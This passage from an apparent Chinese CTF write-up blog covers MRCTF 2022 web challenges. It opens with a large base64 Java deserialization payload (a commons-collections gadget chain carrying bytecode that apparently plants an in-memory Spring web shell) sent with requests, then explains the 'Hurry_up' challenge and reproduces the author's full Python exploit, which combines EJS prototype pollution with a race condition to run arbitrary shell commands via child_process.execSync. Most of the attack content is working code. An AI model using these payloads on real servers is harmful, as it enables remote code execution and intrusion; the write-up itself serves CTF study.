payload = b'rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAAGa2V5a2V5c3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkZhY3RvcnlUcmFuc2Zvcm1lcqFiwSldt/O4AgABTAAIaUZhY3Rvcnl0AChMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL0ZhY3Rvcnk7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkluc3RhbnRpYXRlRmFjdG9yeZSxnJ5nIQTrAgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAATaUNsYXNzVG9JbnN0YW50aWF0ZXQAEUxqYXZhL2xhbmcvQ2xhc3M7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAQTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAGOHK/rq+AAAANACwCgATAEkIAEoJAEsATAgATQoATgBPCABQCgBRAFIKAFMAVAoAEwBVCgANAFYHAFcIAFgHAFkHAFoHADEJAFsAXAoADQBdCgBeAF8HAGAKAFsAYQoAXgBiCgBjAGQIAGULAGYAZwcAaAgAaQsAGQBqBwBrCAA8CgANAGwKAG0AXwoAbQBuBwBvCgALAHAKAA0AcQoAIQByBwBzAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABtMY29tL2V4YW1wbGUvZWFzeWphdmEvdGVzdDsBAAlwcmludE5hbWUBAAljbGFzc05hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABm1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAHY29udGV4dAEAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dDsBABZhYnN0cmFjdEhhbmRsZXJNYXBwaW5nAQBATG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXJNYXBwaW5nOwEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAE2FkYXB0ZWRJbnRlcmNlcHRvcnMBABVMamF2YS91dGlsL0FycmF5TGlzdDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQApTGphdmEvdXRpbC9BcnJheUxpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsBAApFeGNlcHRpb25zBwB0BwB1BwB2BwB3BwB4BwB5AQAKU291cmNlRmlsZQEACXRlc3QuamF2YQwAJgAnAQAtY29tLmV4YW1wbGUuZWFzeWphdmEuY29udHJvbGxlci5DbWRDb250cm9sbGVyBwB6DAB7AHwBAAdzdWNjZXNzBwB9DAB+AH8BC9B5djY2dmdBQUFEUUFpQW9BSUFCSENBQTRDd0JJQUVrTEFFb0FTd2dBVEFnQVRRb0FUZ0JQQ2dBTUFGQUlBRkVLQUF3QVVnY0FVd2NBVkFnQVZRZ0FWZ29BQ3dCWENBQllDQUJaQndCYUNnQUxBRnNLQUZ3QVhRb0FFZ0JlQ0FCZkNnQVNBR0FLQUJJQVlRb0FFZ0JpQ2dBU0FHTUtBR1FBWlFvQVpBQm1DZ0JrQUdNSEFHY0hBR2dIQUdrQkFBWThhVzVwZEQ0QkFBTW9LVllCQUFSRGIyUmxBUUFQVEdsdVpVNTFiV0psY2xSaFlteGxBUUFTVEc5allXeFdZWEpwWVdKc1pWUmhZbXhsQVFBRWRHaHBjd0VBTDB4amIyMHZaWGhoYlhCc1pTOWxZWE41YW1GMllTOWpiMjUwY205c2JHVnlMME50WkVOdmJuUnliMnhzWlhJN0FRQUpjSEpsU0dGdVpHeGxBUUJrS0V4cVlYWmhlQzl6WlhKMmJHVjBMMmgwZEhBdlNIUjBjRk5sY25ac1pYUlNaWEYxWlhOME8weHFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhOd2IyNXpaVHRNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNwV2dFQUFYQUJBQnBNYW1GMllTOXNZVzVuTDFCeWIyTmxjM05DZFdsc1pHVnlPd0VBQm5keWFYUmxjZ0VBRlV4cVlYWmhMMmx2TDFCeWFXNTBWM0pwZEdWeU93RUFBVzhCQUJKTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBRmpBUUFUVEdwaGRtRXZkWFJwYkM5VFkyRnVibVZ5T3dFQUIzSmxjWFZsYzNRQkFDZE1hbUYyWVhndmMyVnlkbXhsZEM5b2RIUndMMGgwZEhCVFpYSjJiR1YwVW1WeGRXVnpkRHNCQUFoeVpYTndiMjV6WlFFQUtFeHFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhOd2IyNXpaVHNCQUFkb1lXNWtiR1Z5QVFBU1RHcGhkbUV2YkdGdVp5OVBZbXBsWTNRN0FRQUVZMjlrWlFFQURWTjBZV05yVFdGd1ZHRmliR1VIQUZRSEFHb0hBRk1IQUZvSEFHZ0hBR3NIQUd3SEFHMEhBR2NCQUFwRmVHTmxjSFJwYjI1ekFRQVFUV1YwYUc5a1VHRnlZVzFsZEdWeWN3RUFDbE52ZFhKalpVWnBiR1VCQUJKRGJXUkRiMjUwY205c2JHVnlMbXBoZG1FTUFDRUFJZ2NBYXd3QWJnQnZCd0JzREFCd0FIRUJBQUFCQUFkdmN5NXVZVzFsQndCeURBQnpBRzhNQUhRQWRRRUFBM2RwYmd3QWRnQjNBUUFZYW1GMllTOXNZVzVuTDFCeWIyTmxjM05DZFdsc1pHVnlBUUFRYW1GMllTOXNZVzVuTDFOMGNtbHVad0VBQjJOdFpDNWxlR1VCQUFJdll3d0FJUUI0QVFBSEwySnBiaTl6YUFFQUFpMWpBUUFSYW1GMllTOTFkR2xzTDFOallXNXVaWElNQUhrQWVnY0Fld3dBZkFCOURBQWhBSDRCQUFKY1FRd0Fmd0NBREFDQkFJSU1BSU1BZFF3QWhBQWlCd0JxREFDRkFJWU1BSWNBSWdFQUUycGhkbUV2YkdGdVp5OUZlR05sY0hScGIyNEJBQzFqYjIwdlpYaGhiWEJzWlM5bFlYTjVhbUYyWVM5amIyNTBjbTlzYkdWeUwwTnRaRU52Ym5SeWIyeHNaWElCQUVGdmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMmhoYm1Sc1pYSXZTR0Z1Wkd4bGNrbHVkR1Z5WTJWd2RHOXlRV1JoY0hSbGNnRUFFMnBoZG1FdmFXOHZVSEpwYm5SWGNtbDBaWElCQUNWcVlYWmhlQzl6WlhKMmJHVjBMMmgwZEhBdlNIUjBjRk5sY25ac1pYUlNaWEYxWlhOMEFRQW1hbUYyWVhndmMyVnlkbXhsZEM5b2RIUndMMGgwZEhCVFpYSjJiR1YwVW1WemNHOXVjMlVCQUJCcVlYWmhMMnhoYm1jdlQySnFaV04wQVFBTVoyVjBVR0Z5WVcxbGRHVnlBUUFtS0V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuT3lsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBbG5aWFJYY21sMFpYSUJBQmNvS1V4cVlYWmhMMmx2TDFCeWFXNTBWM0pwZEdWeU93RUFFR3BoZG1FdmJHRnVaeTlUZVhOMFpXMEJBQXRuWlhSUWNtOXdaWEowZVFFQUMzUnZURzkzWlhKRFlYTmxBUUFVS0NsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBaGpiMjUwWVdsdWN3RUFHeWhNYW1GMllTOXNZVzVuTDBOb1lYSlRaWEYxWlc1alpUc3BXZ0VBRmloYlRHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tWWUJBQVZ6ZEdGeWRBRUFGU2dwVEdwaGRtRXZiR0Z1Wnk5UWNtOWpaWE56T3dFQUVXcGhkbUV2YkdGdVp5OVFjbTlqWlhOekFRQU9aMlYwU1c1d2RYUlRkSEpsWVcwQkFCY29LVXhxWVhaaEwybHZMMGx1Y0hWMFUzUnlaV0Z0T3dFQUdDaE1hbUYyWVM5cGJ5OUpibkIxZEZOMGNtVmhiVHNwVmdFQURIVnpaVVJsYkdsdGFYUmxjZ0VBSnloTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2ZFhScGJDOVRZMkZ1Ym1WeU93RUFCMmhoYzA1bGVIUUJBQU1vS1ZvQkFBUnVaWGgwQVFBRlkyeHZjMlVCQUFWM2NtbDBaUUVBRlNoTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFZnRUFCV1pzZFhOb0FDRUFId0FnQUFBQUFBQUNBQUVBSVFBaUFBRUFJd0FBQUM4QUFRQUJBQUFBQlNxM0FBR3hBQUFBQWdBa0FBQUFCZ0FCQUFBQUJ3QWxBQUFBREFBQkFBQUFCUUFtQUNjQUFBQUJBQ2dBS1FBREFDTUFBQUc2QUFZQUNRQUFBSzhyRWdLNUFBTUNBRG9FR1FUR0FLRXN1UUFFQVFBNkJSSUZPZ1lTQnJnQUI3WUFDQklKdGdBS21RQWl1d0FMV1FhOUFBeFpBeElOVTFrRUVnNVRXUVVaQkZPM0FBODZCNmNBSDdzQUMxa0d2UUFNV1FNU0VGTlpCQklSVTFrRkdRUlR0d0FQT2dlN0FCSlpHUWUyQUJPMkFCUzNBQlVTRnJZQUZ6b0lHUWkyQUJpWkFBc1pDTFlBR2FjQUJSa0dPZ1laQ0xZQUdoa0ZHUWEyQUJzWkJiWUFIQmtGdGdBZHB3QUZPZ1VEckFTc0FBRUFEd0NtQUtrQUhnQURBQ1FBQUFCR0FCRUFBQUFKQUFvQUNnQVBBQXdBRndBTkFCc0FEd0FyQUJBQVNnQVNBR1lBRkFCOEFCVUFrQUFXQUpVQUZ3Q2NBQmdBb1FBWkFLWUFHd0NwQUJvQXF3QWNBSzBBSGdBbEFBQUFaZ0FLQUVjQUF3QXFBQ3NBQndBWEFJOEFMQUF0QUFVQUd3Q0xBQzRBTHdBR0FHWUFRQUFxQUNzQUJ3QjhBQ29BTUFBeEFBZ0FBQUN2QUNZQUp3QUFBQUFBcndBeUFETUFBUUFBQUs4QU5BQTFBQUlBQUFDdkFEWUFOd0FEQUFvQXBRQTRBQzhBQkFBNUFBQUFPUUFIL2dCS0J3QTZCd0E3QndBNi9BQWJCd0E4L0FBbEJ3QTlRUWNBT3Y4QUdnQUZCd0ErQndBL0J3QkFCd0JCQndBNkFBRUhBRUlCQVFCREFBQUFCQUFCQUI0QVJBQUFBQTBEQURJQUFBQTBBQUFBTmdBQUFBRUFSUUFBQUFJQVJnPT0HAIAMAIEAggcAgwwAhACFDACGAIcMAIgAiQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwcAigwAiwCMDACNAI4HAI8MAJAAkQEAEGphdmEvbGFuZy9PYmplY3QMAJIAkwwAlACVBwCWDACXAJgBADlvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5zZXJ2bGV0LkRpc3BhdGNoZXJTZXJ2bGV0LkNPTlRFWFQHAJkMAJoAmwEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwwAnACdAQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcMAJ4AnwcAoAwAoQCiAQATamF2YS91dGlsL0FycmF5TGlzdAwAowCkDAClAKYMAKcAqAEAGWNvbS9leGFtcGxlL2Vhc3lqYXZhL3Rlc3QBAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BACBqYXZhL2xhbmcvSW5zdGFudGlhdGlvbkV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAJG9yZy9zcHJpbmdmcmFtZXdvcmsvdXRpbC9CYXNlNjRVdGlscwEAEGRlY29kZUZyb21TdHJpbmcBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsBADlvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXMBAAxnZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7SSlMamF2YS9sYW5nL09iamVjdDsBAAdnZXRCZWFuAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQADYWRkAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAqQoAqgBJAQAIPGNsaW5pdD4MAC0AJwoAJQCtAQANU3RhY2tNYXBUYWJsZQAhACUAqgAAAAAAAwABACYAJwABACgAAAAvAAEAAQAAAAUqtwCrsQAAAAIAKQAAAAYAAQAAAAsAKgAAAAwAAQAAAAUAKwAsAAAACQAtACcAAgAoAAABYQAGAAgAAACrEgJLsgADEgS2AAUSBrgAB0y4AAi2AAm2AApNEgsSDAe9AA1ZAxIOU1kEEg9TWQWyABBTWQayABBTtgARTi0EtgASLSwHvQATWQMqU1kEK1NZBQO4ABRTWQYrvrgAFFO2ABVXuAAWEhcDuQAYAwDAABk6BBkEEhq5ABsCAMAAHDoFEhwSHbYAHjoGGQYEtgAfGQYZBbYAIMAAIToHGQcsKrYAIrYAI7YAJFexAAAAAwApAAAAOgAOAAAADQADAA4ACwAPABEAEQAbABIAPQATAEIAFABjABUAcwAWAIEAFwCKABgAkAAZAJwAGgCqABsAKgAAAFIACAADAKgALgAvAAAAEQCaADAAMQABABsAkAAyADMAAgA9AG4ANAA1AAMAcwA4ADYANwAEAIEAKgA4ADkABQCKACEAOgA7AAYAnAAPADwAPQAHAD4AAAAMAAEAnAAPADwAPwAHAEAAAAAOAAYAQQBCAEMARABFAEYACACsACcAAQAoAAAAHgACAAIAAAAJpwADAUy4AK6xAAAAAQCvAAAAAwABAwABAEcAAAACAEhwdAAEdGVzdHB3AQB4dnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwdXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAABdnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHNxAH4AAD9AAAAAAAAAdwgAAAAQAAAAAHh4cQB+AAVxAH4ABnEAfgAGeA=='
res = requests.post(url=url, data=payload)
print(res.text)

Hurry_up

参考wp:https://github.com/BuptMerak/mrctf-2022-writeups/blob/main/offical/WEB.md#hurry_up
ejs原型链污染。原来在3.1.7原型链污染已经修复了,所以本地打不通。。。
先分析一手源码。

router.get('/hide',(req,res)=>{
    var path = req.query.path;
    var value = filter(req.query.value);

    var o = req.session.obj ||{"Welcome":{"2":{"MRCTF2022":"Just store your secret.No one knows."}}};
    if(path && value){
        getValue.set(path,value,o)
    }
    req.session.obj=o;
    return res.json(req.session.obj)
})

这里的 getValue.set(path,value,o)可以看到源码,有类似于merge的操作(我看不出来XD,但是可以去/hide这里测试,可以发现)。所以可以搞一手原型链污染。但是渲染需要在/目录下进行,所以污染了也不够。然后看到app.js:

app.use(async (req, res, next) => {
    res.header(
        "Content-Security-Policy",
        "default-src 'self';"
    );
    await new Promise(function (resolve) {
        for (var key in Object.prototype) {
            console.log(key);
            delete Object.prototype[key];
        }
        resolve()
    }).then(next)
});

转到/直接把原型链给干掉了。似乎没有办法诶。

exports.safeCheck = async function () {
    return await new Promise(function (resolve) {
        setTimeout(resolve, 100);
    })
}

但是这里有个延迟,而且出现在渲染之前:

safeCheck()
       .then(()=>{
            return res.render("../views/test.ejs", {"path": path, "value": value})
       })
       .catch(()=>{
           return res.end()
       })

然后跟node的处理有关

我们知道,对于node,所有请求共用同一个环境,这也就是为什么如果一个请求污染到了原型链,那么之后所有的请求都会受到影响。所以如果,我们在进入/之后,而赶在模板渲染之前,在另外一个请求中完成对原型链的污染,这样就可以了。由于node是单线程异步非阻塞模式的,意味着如果一个请求没有处理结束或进入阻塞,下一个请求是不会开始处理的。而在这个题目中,其实有几行很扎眼的代码,帮助我们让给到/的请求在模板渲染前进入阻塞。

所以可以搞一手条件竞争。贴一个出题者的exp:

import requests
import threading
from pwn import *
import time
import random

ip = sys.argv[1]
port = sys.argv[2]
command = sys.argv[3]
flag1 = True
tempTime = 20

url = "http://" + ip + ":" + str(port) + "/"

def attack(command):
    global flag1
    t1 = threading.Thread(target=tar1, args=(command,))
    t2 = threading.Thread(target=tar2)
    t2.start()

    # time.sleep(random.random())
    t1.start()
    # time.sleep(2)

def tar1(command):
    global flag1
    ran1 = -1
    time1 = -1
    while flag1:
        print("tar1")
        ran1 = random.random()
        time.sleep(ran1)
        requests.get(
            url + "hide",
            params={
                "path": "a.__proto__.outputFunctionName",
                "value": '''a=1;
        return process.mainModule.require('child_process').execSync('{}').toString();
        var b'''.format(command)
            })
        time1 = time.time()
        # flag1=False
    print("ran1=" + str(time1))

s = b'''GET / HTTP/1.1
Host: 127.0.0.1:4000
Connection: close
Pragma: no-cache
Cache-Control: no-cache

'''

def tar2():
    global flag1
    global tempTime
    try:
        while tempTime > 0:
            ran2 = random.random()
            time.sleep(ran2)
            io = remote(ip, port)
            io.send(s)
            time2 = time.time()
            re = io.recv()
            # print(re)
            if (b'MRCTF{' in re):
                print(re)
                flag1 = False
                print("ran2=" + str(time2))
                return
            io.close()
            tempTime = tempTime - 1
        print("fialed!")
        flag1 = False
    except:
        flag1 = False

if __name__ == '__main__':
    attack(command)

# python3 ./exp.py 127.0.0.1 4000 'cat /flag'
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇